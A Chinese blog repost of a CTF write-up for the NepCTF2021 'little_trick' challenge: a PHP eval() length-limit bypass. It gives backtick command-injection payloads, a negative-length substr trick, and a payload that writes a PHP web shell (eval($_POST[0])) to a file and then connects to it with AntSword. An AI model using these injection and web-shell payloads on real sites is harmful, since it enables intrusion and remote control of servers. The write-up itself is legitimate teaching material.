我是靠谱客的博主 可靠小蝴蝶,最近开发中收集的这篇文章主要介绍NepCTF2021 little_trick,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

题目

<?php
    error_reporting(0);
    highlight_file(__FILE__);
    $nep = $_GET['nep'];
    $len = $_GET['len'];
    if(intval($len)<8 && strlen($nep)<13){
        eval(substr($nep,0,$len));
    }else{
        die('too long!');
    }
?>
url?nep=`ls>1`;&len=7
访问url/1
得到
1
index.php
nepctf.php

然后有个骚姿势,让len= -1绕过intval($len)<8,让我们的payload可以更长,

substr($nep,0,-1)是从0取到倒数第二位
substr("abcdef",0,-1)得到"abcd"

然后payload

url?nep=`cat n*>1`;a&len=-1

然后访问url/1得到flag,最后那个a是用来填充的,因为substr取到倒数第二位,上面说了。

法二
feng师傅的payload
我直接膜拜

?len=7;echo%20%27<?php%20eval($_POST[0]);?>%27%20>%203.php;&nep=`$len`;

利用php的类型转换,无论是intval还是substr,那里处理的都是前面的数字7,但是真正命令执行的却是整个len变量。

然后蚁剑连接。

法三

前面和法一 一样
这需要重新开一次靶机

url/?nep=`>cat`;&len=7
url/?nep=`*>1`;&len=7

这里*>1等价于cat index.php nepctf.php> 1,linux小trick记住就好,因为linux文件系统默认从数字小写字母到大写字母升序排列

最后

以上就是可靠小蝴蝶为你收集整理的NepCTF2021 little_trick的全部内容,希望文章能够帮你解决NepCTF2021 little_trick所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(49)

评论列表共有 0 条评论

立即
投稿
返回
顶部